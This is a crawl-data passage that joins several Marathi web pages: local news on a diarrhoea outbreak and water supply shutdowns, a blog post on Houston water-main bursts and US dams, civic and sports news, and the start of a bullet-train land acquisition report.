परीक्षा प्रवेशपत्र\n〉 जिल्हा निहाय जाहिराती\n〉 शैक्षणिक पात्रतेनुसार जाहिराती.\n〉 माहिती व जनसंपर्क विभाग.\n〉 महाराष्ट्र लोकसेवा आयोग.\n〉 केंद्रीय लोकसेवा आयोग.\n〉 स्टाफ सलेक्शन कमिशन.\n〉 महिला व बालविकास विभाग.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00191.warc.wet.gz", "language": "mr", "language_score": 0.86, "bucket": "all"} {"url": "http://www.esakal.com/vidarbha/dairiya-infection-due-contaminated-water-jambha-128542", "date_download": "2018-09-25T17:54:28Z", "digest": "sha1:33XIQ3PWRME3KOLO47OIXV77YX7TQLZ7", "length": 13450, "nlines": 176, "source_domain": "www.esakal.com", "title": "dairiya infection due to contaminated water at Jambha दूषीत पाण्यामुळे जांभा येथे डायरीयाची लागण | eSakal", "raw_content": "\nदूषीत पाण्यामुळे जांभा येथे डायरीयाची लागण\nगुरुवार, 5 जुलै 2018\nप्राथमिक आरोग्य केंद्र पारद अंतर्गत येत असलेल्या जांभा बु. येथे २५ जूनपासून २० ते २५ रूग्णांना डायरीयाची लागण झाली आहे.\nअकोला (मूर्तीजापूर) - तालुक्यातील जांभा बु. येथे दूषीत पाण्यामुळे २५ जूनपासून डायरीयाची लागण झाली आहे. गावात दूषीत पाणी पुरवठा केल्या जात असून जलवाहिनीला ठिकठिकाणी गळती आहे. गावातील २० ते २५ रूग्णांवर स्थानिक रूग्णालयात दाखल आले असून परीस्थिती नियंत्रणात आहे.\nप्राथमिक आरोग्य केंद्र पारद अंतर्गत येत असलेल्या जांभा बु. येथे २५ जूनपासून २० ते २५ रूग्णांना डायरीयाची लागण झाली आहे. या गावातील पिण्याच्या पाण्याची टाकीची साफसफाई न करणे, त्यामध्ये जंतुनाशक पावडरचा उपयोग न करणे, जलवाहिनीला ठिकठिकाणी असलेली गळती, यामुळे ग्रामस्थांना दूषीत पाणी प्यावे लागत आहे. यामुळे गावात डायरीयाची लागण झाली येथील रूग्णावर मंगरूळ कांबेचे वैद्यकीय अधिकारी डॉ. मोहोड व कर्मचाऱ्यांनी गावात जावून रूग्णाची तपासणी करून औषधोपचार करीत आहेत. यामध्ये नितेश श्रीराव, नंदू पेठकर, ओंकार गिरी, उजवला बढीये, नेताजी तायडे, बबलु हुतके, सुनिता गिरी, मिरा जामनीक, सरस्वताबाई गिरी यांच्यावर मूर्तीजापुर येथील श्रीमती लक्षमीबाई देशमुख सामान्य उपजिल्हा रूग्णालयात उपचार करण्यात आले आहे. तर कलावती गुलाबराव तायडे उपचार घेत असून विजुबाई तायडे यांना पुढील उपचारासाठी अकोला येथे दाखल आले आहे. तर बरेच रूग्णांनी खाजगी रूग्णालयात जावून उपचार घेतले. दरम्यान, प्राथमिक आरोग्य केंद्र पारद, उपकेंद्र मंगरूळ कांबे येथील डॉकटर व कर्मचाऱ्यांनी संपूर्ण गावात औषधोपचार करीत आहेत. सचिव गत सहा महिण्यापासून गावात नियमित न येणे, सहकार्य न करणे, कर्तव्यात कसुर करीत असल्याचे ग्रामपंचायत सदस्य तथा माजी सरपंच विठ्ठल किसन उबाळे यांनी सांगितले.\nडायरीयाची लागण झाल्यावर पाणी निर्जंतुकीकरण करण्यासाठी लागणाऱ्या औषधीचा धनादेश ४ जुलै ला किशोर मेडिकलला देय असल्याची माहिती मिळाली आहे.\nआपण एका क्लिकवर ताजे अपडेट्स आपल्या मोबाईलमध्येही मिळवू शकता.\n'ई सकाळ'चे अॅप डाउनलोड करण्यासाठी क्लिक करा.\nशेतीविषयीची अपडेट असलेले 'अॅग्रोवन' अॅप डाउनलोड करण्यासाठी ​क्लिक करा.\nराजकारणाची प्रत्येक घडामोड कळविणारे 'सरकारनामा' अॅप डाउनलोड करण्यासाठी क्लिक करा.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nऔषध व्यापार 'बंद' आंदोलनात साक्री तालुका केमिस्ट सहभागी\nनिजामपूर-जैताणे (धुळे) : साक्री तालुक्यातील निजामपूर, पिंपळनेर, दहीवेल, कासारे व म्हसदी येथे केमिस्ट असोसिएशनच्या तालुका पदाधिकाऱ्यांनी नुकत्याच औषध...\nत्या दोन रुग्णांचा मृत्यू स्वाईन फ्ल्यूमुळे नाहीच...\nपणजी : काही दिवसांपूर्वीच मडगावमध्ये आणि गोवा वैद्यकीय महाविद्यालय, बाबोळी येथे दोन रुग्ण दगावले. हे दोन्ही रुग्ण स्वाईन फ्ल्यूमुळे नाही तर हृदयाच्या...\nओतूरला सहा ट्रॉली निर्माल्याचे संकलन\nओतूर - ता.जुन्नर येथे गणेशोत्सवा दरम्यान आयोजित निर्माल्य संकलन उपक्रमास नागरकांकडून मोठा प्रतिसाद मिळाला असुन गणपती विसर्जन काळात तब्बल सहा ट्रॉली...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00192.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.esakal.com/vidarbha/water-shortage-nagpur-city-127009", "date_download": "2018-09-25T17:51:27Z", "digest": "sha1:AGPLDICOHBIF5WX64CTOO6KAM2S2HGPF", "length": 13575, "nlines": 169, "source_domain": "www.esakal.com", "title": "water shortage in nagpur city निम्मे शहर उद्या पाण्याशिवाय | eSakal", "raw_content": "\nनिम्मे शहर उद्या पाण्याशिवाय\nशुक्रवार, 29 जून 2018\nनागपूर - बोरियापुरातील दूषित पाण्याची समस्या सोडविण्यासाठी शनिवारी जलवाहिनी जोडणीची कामे केली जाणार आहे. याशिवाय वांजरा येथील जलकुंभाच्या जलवाहिनीवरही नासुप्रद्वारे कामे केली जाणार आहे. त्यामुळे गांधीबागसह सह पाच झोनमध्ये ३० जून रोजी दिवसभर तर १ जुलै रोजी सकाळी पाणीपुरवठा बंद राहणार आहे.\nनागपूर - बोरियापुरातील दूषित पाण्याची समस्या सोडविण्यासाठी शनिवारी जलवाहिनी जोडणीची कामे केली जाणार आहे. याशिवाय वांजरा येथील जलकुंभाच्या जलवाहिनीवरही नासुप्रद्वारे कामे केली जाणार आहे. त्यामुळे गांधीबागसह सह पाच झोनमध्ये ३० जून रोजी दिवसभर तर १ जुलै रोजी सकाळी पाणीपुरवठा बंद राहणार आहे.\nपालिका, ओसीडब्ल्यूने नुकताच मोमिनपुरा भागात पेहलवान चौक ते गोळीबार चौकादरम्यान नवीन जलवाहिनी टाकली आहे. ही जलवाहिनी जुन्या जलवाहिनीशी जोडण्याचे काम ३० जून सकाळी १० ते १ जुलै सकाळी १० वाजेपर्यंत सुरू राहील. त्यामुळे महापालिका-ओसीडब्ल्यूने २४ तासांचे शटडाऊन घेण्याचे ठरविले. त्यामुळे गांधीबाग, सतरंजीपुरा, आशीनगर, हनुमाननगर, धंतोली झोनसह वांजरा जलकुंभांतर्गत येणाऱ्या वस्त्यांत पाणीपुरवठा होणार नाही. याशिवाय नागपूर सुधार प्रन्यासनेही नारा येथे प्रस्तावित जलकुंभासाठी जलवाहिनीची आंतरजोडणी तसेच महावितरणद्वारे गोधनीतील पेंच ४ जलशुद्धीकरण केंद्रात देखरेखीचे काम केले जाणार आहे. कळमना जलकुंभ ते वांजरा जलकुंभापर्यंतही कळमना रेल्वे क्रॉसिंगजवळ आंतरजोडणी करण्याचेही काम होणार आहे. त्यामुळे लष्करीबाग, मोतीबाग रेल्वे क्वार्टर, मेयो हॉस्पिटल, हंसापुरी, भागवाघर चौक, मोमिनपुरा, काला झेंडा तकिया, भानखेडा, दादरापूल टिमकी, गोळीबार चौक, देवघरपूर, गंगाखेत चौक, बाजीराव गल्ली, पाचपावली रेल्वे गेट, पिली मारबत, धापोडकर गल्ली (तांडापेठ), लाल दरवाजा, बंगाली पंजा, मस्कासाथ, इतवारी तेलीपुरा, मिरची बाजार चौक, भाजी मंडी, लोहाओळी, तीन नळ चौक, खापरीपुरा, भाजी मंडी, टांगा स्टॅंड, रामनगर, बांगलादेश, उमाठेवाडी, बैरागीपुरा, तेलीपुरा पेवठा, बारईपुरा, मिरची मंदिर भाग, इतवारी रेल्वेस्टेशन, मारवाडी चौक, पंजाबी लाइन कामठी रोड गुरुद्वाराजवळ, लाल इमली, खापरीपुरा या भागात पाणीपुरवठा होणार नाही. याशिवाय बोरियापुरा जलकुंभांतर्गत येणाऱ्या मोमिनपुरा, हरिदारी रोड, कसाबपुरा, तकिया दिवानशाह, तकिया मेहबूब शाह, हंसापुरी, नंदबाजी डोब, कोसारकर मोहल्ला येथेही पाणीपुरवठा बंद राहील.\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nसोलापुरात शायनिंग महाराष्ट्र महाप्रदर्शन\nसोलापूर : राज्यसभेचे खासदार अमर साबळे यांच्या संकल्पनेतून दिल्ली येथील सांसा फाऊंडेशनच्यावतीने बुधवार 26 ते शुक्रवार 28 सप्टेंबर या कालावधीत गांधीनगर...\nखरसुंडीत सिद्धनाथ मंदिरात सेवेकरी व देवस्थान ट्रस्ट यांच्यात जोरदार वाद\nआटपाडी : खरसुंडी येथील सिद्धनाथ मंदिरांत पौर्णिमेनिमित्त दर्शनबारीत केलेल्या बदलावरुन सेवेकरी व देवस्थान ट्रस्ट यांच्यात जोरदार वाद झाला....\nमहाराष्ट्राला झाल्या मुली हव्याशा...\nनागपूर - एकीकडे नकोशा म्हणून नाकारल्या जात असताना दुसरीकडे मुलींना दत्तक घेण्याचे प्रमाण महाराष्ट्रात वाढले आहे. नकोशा असलेल्या नवजात मुलींना अपत्य...\nजुहू चौपाटीवर 200 जवानांसह शाहिद कपूरची स्वच्छता मोहिम\nमुंबई : 50 वे सुवर्ण महोत्सवी वर्ष साजरे करणाऱ्या केंद्रीय औद्योगिक सुरक्षा दलातर्फे 24 ला जुहू चौपाटीवर पहाटे 4 ते सकाळी 10 वाजेपर्यंत...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00192.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2011/08/blog-post_17.html", "date_download": "2018-09-25T17:48:58Z", "digest": "sha1:BFBR3K5IIIFOQJB7QPIA53L4AKOD4NI4", "length": 13452, "nlines": 74, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: पाणी टंचाई", "raw_content": "\nसलोनीराणी, ही बातमी अशी हॉट ऑफ द प्रेस ह्युस्टन शहरात उष्णतेमुळे दिवसाकाठी ७०० वेळा जलवाहिन्या फुटत आहेत सध्या ह्युस्टन शहरात उष्णतेमुळे दिवसाकाठी ७०० वेळा जलवाहिन्या फुटत आहेत सध्या जलवाहिनी फुटते आणि अमेरिकेत जलवाहिनी फुटते आणि अमेरिकेत मला अगदी नववधु पहिल्यांदा माहेरी गेल्यावर तिला कसे वाटेल तसे भरुन आले अर्थात पाण्यामुळे \"भरुन\" आले हाच शब्द जास्त चांगला\nतर झाले असे आहे की सध्या अमेरिकाभर उष्णतेची लाटच आहे. इथे अ‍ॅरिझोनामध्ये बसुन आम्हाला काही कधी कळतच नाही की लाट आहे की काय इथे उष्णतेची लाट नसणार तर कुठे असा विचार करुन आम्ही (एसी मध्ये) गप्प बसतो इथे उष्णतेची लाट नसणार तर कुठे असा विचार करुन आम्ही (एसी मध्ये) गप्प बसतो परंतु जर युएसए टुडे चे शेवटचे पान पाहिले तर माझ्यासारख्या आळशी आणि जरा मंद लोकांसाठी एक अप्रतिम रंगीत नकाशा असतो अमेरिकेचा की ज्यावर सगळीकडची तापमाने रंगांनुसार दाखवली असतात. उष्ण म्हणजे लाल आणि जांभळा म्हणजे थंड. तर काल मी खरे तर तो नकाशा पाहिला एका दुकानात बसल्याबसल्या. सगळ्या अमेरिकाभर लाल आणि दस्तुरखुद्दांच्या राज्यामध्ये चक्रमी आणि विक्रमी तापमान होते. बकहेड मध्ये ११२ अंश फॅरेनहाईट परंतु जर युएसए टुडे चे शेवटचे पान पाहिले तर माझ्यासारख्या आळशी आणि जरा मंद लोकांसाठी एक अप्रतिम रंगीत नकाशा असतो अमेरिकेचा की ज्यावर सगळीकडची तापमाने रंगांनुसार दाखवली असतात. उष्ण म्हणजे लाल आणि जांभळा म्हणजे थंड. तर काल मी खरे तर तो नकाशा पाहिला एका दुकानात बसल्याबसल्या. सगळ्या अमेरिकाभर लाल आणि दस्तुरखुद्दांच्या राज्यामध्ये चक्रमी आणि विक्रमी तापमान होते. बकहेड मध्ये ११२ अंश फॅरेनहाईट त्यामुळे ह्युस्टन किंवा न्युयॉर्कवासिंना ९७ किंवा १०० तपमान असेल तर त्याबद्दल फारशी काही सहानुभुती अर्थातच नव्हती माझ्याकडे. (हे अमेरिकेचे असे तपमानाचे देखील विचित्र. सगळे जग सेल्सिअस मोजते आणि इथे फॅरेनहाईट. परंतु मला असे वाटते की याद्वारे ते स्वत:च्या बाजारपेठेचे संरक्षण करतात. असो ... पण तो दुसरा विषय होईल.\nतर ह्युस्टन मध्ये दिवसा ७०० जलवाहिन्या कश्या फुटताहेत. तर इथे पाण्याला खुपच दाब असतो. घरातल्या सगळ्या नळांना अगदी दाबुन पाणी येते. आणि २४ तास पाणी असते. आणि हे सगळीकडेच ... अगदी मागासातील मागास राज्यात देखील हीच परिस्थिती. ह्युस्टन मध्ये गेले १४-१५ दिवस रोज विक्रमी तपमान होते आहे. त्यामुळे जनता हैराण होऊन पाण्याचा जास्त वापर करते आहे अर्थातच. त्यामुळे नळावर जास्त दाब येऊन ते फुटु लागले आहेत. अर्थात काय तर इतके लोक इतके पाणी वापरु लागले तर त्या बिचाऱ्या नळांनादेखील काही आयुष्य आहे. तसेच सगळ्या अमेरिकाभरच नळ वगैरे असल्या गोष्टी यांनी कधी ४०-५०-७० वर्षांपुर्वी करुन ठेवल्या आहेत त्या आता जुन्या होत चालल्या आहेत. त्यामुळे देखील फुटणे स्वाभाविक आहे.\nत्यामुळे आता ह्युस्टनमध्ये पाणीटंचाई आणि पाणीवाटप सुरु झाले आहे म्हणे. अर्थात इथली टंचाई म्हणजे काय तर दिवसातुन बागेला एकदाच पाणी द्या. दोन वेळा देऊ नका. खरेच. अ‍ॅरिझोनामध्ये देखील कधी कधी असे आवाहन करतात. तर यांची ही कमाल पाणीटंचाईची.\nअ‍ॅरिझोनामध्ये बाकी वाळवंट असले तरीही उत्तरेला कोलोरॅडो पठार पसरले असल्यामुळे तिथल्या डोंगरांमध्ये चिकार बर्फ पडतो हिवाळ्यात. त्याचेच पाणी उन्हाळ्यात कोलोरॅडो आणि साल्ट रिव्हर अश्या दोन मुख्य नद्यांमार्फत अनुक्रमे नेवाडा-कॅलिफोर्निआ आणि अ‍ॅरिझोना राज्यांना पुरवले जाते. या नद्यांवरची धरणे अशी प्रचंड आहेत की मागील पंधरा वर्षे इथे दुष्काळ आहे आणि तरीही पाणीटंचाई अशी नाही. १९१०-२०-३० च्या दशकांमध्ये अमेरिकेच्या या नैऋत्य भागामध्ये असे अनेक महत्वाकांक्षी प्रकल्प राबवले गेले आणि मोठे तंत्रज्ञानदेखील विकसीत झाले. गोलाकार भिंतीची धरणे, बर्फाचा वापर करुन सिमेंट लवकर पक्के करण्याची क्रिया, मोठमोठ्या क्रेन्स, टनेल्स तयार करण्याची यंत्रे एक ना अनेक. हे सगळे तंत्रज्ञान इथेच विकसीत झाले. त्याची फळे पुढच्या पिढ्या आजतागायत उपभोगताहेत. आणि आपल्याकडे भारतामध्ये नर्मदा बचाओ करत विकासकामांना खीळ घालत बसतात लोक वर्षानुवर्षे. आणि अमेरिका आणि इतर राष्ट्रे असल्या \"निर्बुद्द\" समाजसेवकांना शंभर पुरस्कार देऊन त्यांचा अहंकार जोपासतात आणि भारताला मागे ठेवतात. चीनने \"थ्री गॉर्जेस\" धरण जे काही बांधले आहे त्यावर अशीच टीका केली आहे अमेरिकेने. परंतु स्वत:कडे ३०-४० वर्षे दुष्काळ पडला तरीही पाणी कमी पडेल अशी धरणे बांधुन ठेवली आहेत. तिथे नाही लहान धरणांचे तत्वज्ञान लागु पडत. ते तत्वज्ञान फक्त विकसनशील देशांना. परंतु अमेरिकेला दोष देण्यात अर्थ नाही. आपला फायदा कश्यात आहे हे आपणच ओळखले पाहिजे. चीनी लोक भोळसट नाहीत. आपण भोळसट, आळशी आणि वैचारिकदृष्ट्या अजुनही गुलामगिरीतच आहोत. असो \nतर ह्युस्टन मध्ये तब्बल ४० माणसांची फौज काम करते आहे आणि दिवसाकाठी ७०० गळत्या थांबवत आहेत. खरे खोटे त्यांना माहित. कसे करतात देव जाणे. परंतु ४० म्हटल्यावर अगदी पुण्यातल्या वेटरने फक्त बटाटेवडा मागवल्यावर जसे तुच्छतादर्शक म्हणावे \"बस इतकेच\" त्याच तुच्छतेने परंतु थोड्याश्या कौतुकाने देखील मी मनात म्हणालो - \"बस ४० च \" साहेबाचा कामाचा आवाका बाकी आहे म्हणायचा\nपुरे करा हो तुमचे अमेरिका कौतुक. इकडे आमचा देश पेटलाय त्यावर लिहा.\n\"तुमचा\" देश पेटलाय तर तुम्ही लिहा की राव इथे बसुन लिहिले तर परत म्हणाल \"अमेरिकेत बसुन तारे काय तारे तोडताय ... पुड्या सोडताय .. कंड्या पिकवताय ...बोअर मारताय ...\"\nबाकी आपण आमचे गावबंधु की काय पुणे तिथे काय उणे\nआमचं लिहून झालंय साहेब. नुसतं लिहून नव्हे तर प्रत्यक्ष खड्ड्यांवर उतरलो होतो आम्ही.\nया वेळी तोडलेत तारे तरी चालेल. लिहा अण्णांवर.\nअज्ञात वीरा तुला सलाम\nमिशिगन व शिकागोच्या थंडीत एक तप काढून नुकतेच अ‍ॅरिझोनात आलोय. :) आलो तेच नेमके इथल्या सगळ्यात उष्ण मौसमात. मस्त होरपळलोत :( सात महिने थंडीपेक्षा हे परवडले असे म्हणून एसीत बसून सुसह्य करतोय. :D:D\n आम्ही देखील मिशिगन मध्ये होतो पूर्वी. २००३ ला इकडे आलो. शनिवारी इंडिया असोसिएशन चा कार्यक्रम आहे. तिकडे आलात तर कदाचित भेट होईल.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00193.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%AA%E0%A4%BE%E0%A4%B2%E0%A4%BF%E0%A4%95%E0%A5%87%E0%A4%A4%E0%A5%80%E0%A4%B2-%E0%A4%97%E0%A5%88%E0%A4%B0%E0%A4%B5%E0%A5%8D%E0%A4%AF%E0%A4%B5%E0%A4%B8%E0%A5%8D%E0%A4%A5%E0%A4%BE%E0%A4%AA%E0%A4%A8/", "date_download": "2018-09-25T16:38:39Z", "digest": "sha1:MMQWXXK7Y55CXS4MWDRSL5AY5LTPUL4B", "length": 7400, "nlines": 128, "source_domain": "www.dainikprabhat.com", "title": "पालिकेतील गैरव्यवस्थापन बदलायला वेळ लागेल :लक्ष्मण जगताप | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nपालिकेतील गैरव्यवस्थापन बदलायला वेळ लागेल :लक्ष्मण जगताप\nपिंपरी – पिंपरी-चिंचवड महापालिकेत अनेक दिवसांचे गैरव्यवस्थापन आहे. त्यामध्ये बदल करण्यासाठी आम्हाला वेळ लागणार आहे. आम्ही त्यामध्ये नक्कीच सुधारणा करण्याचा प्रयत्न करत आहोत, अशी माहिती भाजप शहराध्यक्ष आमदार लक्ष्मण जगताप यांनी पत्रकारांशी बोलताना दिली.\nपिंपरी-चिंचवड शहरात अनधिकृत बांधकामे वाढत आहे. विविध भागात रस्त्यांवर टपऱ्या थाटल्या आहेत. हॉकर्स झोनची अंमलबजावणी झाली नाही, असे विविध प्रश्न पत्रकारांनी विचारले असता जगताप म्हणाले, पालिकेत खूप दिवसांचे गैरव्यवस्थापन आहे. त्यामध्ये सुधारणा करण्याचा आम्ही प्रयत्न करत आहोत. अनधिकृत बांधकामावर कारवाई करण्यासाठी मनुष्यबळ, पोलीस संरक्षणाचा अडसर येत होता. त्यासाठी प्रभाग स्तरावरील अनधिकृत बांधकाम कारवाई विभागाचे आणि पालिकेतील अतिक्रमण विभागाचे केंद्रीकरण केले आहे. यामुळे अनधिकृत बांधकामावरील कारवाईला वेग येईल. क्रीडा धोरण देखील नवीन आणले जाणार आहे. हॉकर्स झोनची लवकरच अंमलबजावणी केली जाईल, असेही ते म्हणाले.\nदिवसेंदिवस भाजप नगरसेवकांची दादागिरी वाढली असल्याबाबत विचारले असता जगताप म्हणाले, कोणत्याही नगरसेवकाची दादागिरी खपवून घेतली जाणार नाही. चुकीचा प्रकार मान्य केला जाणार नाही. मग तो नगरसेवक सत्ताधारी पक्षाचा असो की विरोधी पक्षातील असो. मारहाणप्रकरणी गुन्हा दाखल झालेल्या भाजप नगरसेवकाचे प्रकरण न्यायालयात प्रलंबित आहे. त्यामुळे त्यावर अधिक बोलणे उचित होणार नाही. न्यायालयात याचा निर्णय होईल, असेही ते म्हणाले.\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleपूर्वलक्षी प्रभावाने शास्ती कर माफ -आमदार जगताप\nNext articleताथवडे-पुनावळेत सहा बांधकामांवर कारवाई\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00193.warc.wet.gz", "language": "mr", "language_score": 0.93, "bucket": "all"} {"url": "https://mahasports.co.in/u-mumba-spent-3-crore-98-lacs-rupees/", "date_download": "2018-09-25T17:42:36Z", "digest": "sha1:JD3TUQYSU6BUYPKZZT5HWY5VEVVDYJG6", "length": 6925, "nlines": 71, "source_domain": "mahasports.co.in", "title": "प्रो कबड्डी- लिलावात फ्रँचाईजींनी केलेला खर्च -", "raw_content": "\nप्रो कबड्डी- लिलावात फ्रँचाईजींनी केलेला खर्च\nप्रो कबड्डी- लिलावात फ्रँचाईजींनी केलेला खर्च\nप्रो कबड्डीच्या पाचव्या मोसमातील खेळाडूंचा दोन दिवस सुरु असलेला लिलाव आज दिल्ली येथे पार पडला. या स्पर्धेच्या इतिहासात प्रथमच १२ संघ या लिलावासाठी उतरले होते. त्यातील ४ नवीन तर ८ जुने संघ होते.\nप्रत्येक संघाला ४ कोटी ही रक्कम लिलावासाठी ठरवून दिली होती. त्यात यु मुम्बा संघाने सर्वाधिक रक्कम अर्थात ३ कोटी ९८ लाख खर्च केली तर पुणेरी पलटणने १९ लाख ६० हजार रुपये बाकी ठेवले.\nतामिळनाडू संघाने सार्वधिक म्हणजे २५ खेळाडू संघात घेतले तर सर्वात जास्त रक्कम खर्च करूनही यु मुम्बाने फक्त १८ खेळाडूंना संघात घेतले. बाकी संघांपेक्षा कमी पैसे खर्च केलेल्या पुण्याच्या संघाने फक्त १५ खेळाडूंना संघात घेतले.\nमुंबई : ३ कोटी ९८ लाख ६५ हजार\nबंगाल : ३ कोटी ९६ लाख ७० हजार\nतेलगू : ३ कोटी ९६ लाख ७० हजार\nतामिळनाडू : ३ कोटी ९५ लाख ९० हजार\nबंगळुरु : ३ कोटी ९३ लाख ९० हजार\nजयपूर : ३ कोटी ९२ लाख ६० हजार\nयूपी : ३ कोटी ९२ लाख ६० हजार\nदिल्ली : ३ कोटी ९२ लाख १५ हजार\nगुजरात: ३ कोटी ८९ लाख ५० हजार\nपटणा : ३ कोटी ८३ लाख ९० हजार\nहरयाणा : ३ कोटी ८६ लाख ७५ हजार\nपुणे : ३ कोटी ८० लाख ४० हजार\nअखेर रविंद्र जडेजाने तो सचिन तेंडुलकरचा विक्रम मोडलाच\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00193.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://amp.esakal.com/mumbai/interaction-farmers-bullet-train-108692", "date_download": "2018-09-25T17:28:34Z", "digest": "sha1:NOXK4MOUCYWIKERXYQVJNM5RY4JO64LY", "length": 9555, "nlines": 54, "source_domain": "amp.esakal.com", "title": "Interaction with farmers for Bullet train बुलेट ट्रेनसाठी शेतकऱ्यांशी संवाद | eSakal", "raw_content": "\nबुलेट ट्रेनसाठी शेतकऱ्यांशी संवाद\nसकाळ वृत्तसेवा | मंगळवार, 10 एप्रिल 2018\nठाणे - मुंबई-अहमदाबाद बुलेट ट्रेन या मोदी सरकारच्या महत्त्वकांक्षी प्रकल्पासाठी ठाण्यातील २० हेक्‍टर जमीन संपादित करावी लागणार आहे. यात सुरुवातीलाच काही शेतकऱ्यांचा विरोध होत असल्याने प्रशासनाने शेतकऱ्यांशी चर्चा करण्यास सुरुवात केली आहे. नोकरी मिळण्यासह बुलेट ट्र्ेन धावताना होणाऱ्या कंपनांचा त्रास आम्हाला होणार नाही, याची खबरदारी घ्या, अशी मागणी शेतकऱ्यांनी केली आहे. याबाबतची बैठक नुकतीच पार पडली. शेतकऱ्यांचे नुकसान होऊ न देता जमिनीला योग्य मोबदला देऊ, असे आश्‍वासन या वेळी शेतकऱ्यांना देण्यात आले.\nठाणे - मुंबई-अहमदाबाद बुलेट ट्रेन या मोदी सरकारच्या महत्त्वकांक्षी प्रकल्पासाठी ठाण्यातील २० हेक्‍टर जमीन संपादित करावी लागणार आहे. यात सुरुवातीलाच काही शेतकऱ्यांचा विरोध होत असल्याने प्रशासनाने शेतकऱ्यांशी चर्चा करण्यास सुरुवात केली आहे. नोकरी मिळण्यासह बुलेट ट्र्ेन धावताना होणाऱ्या कंपनांचा त्रास 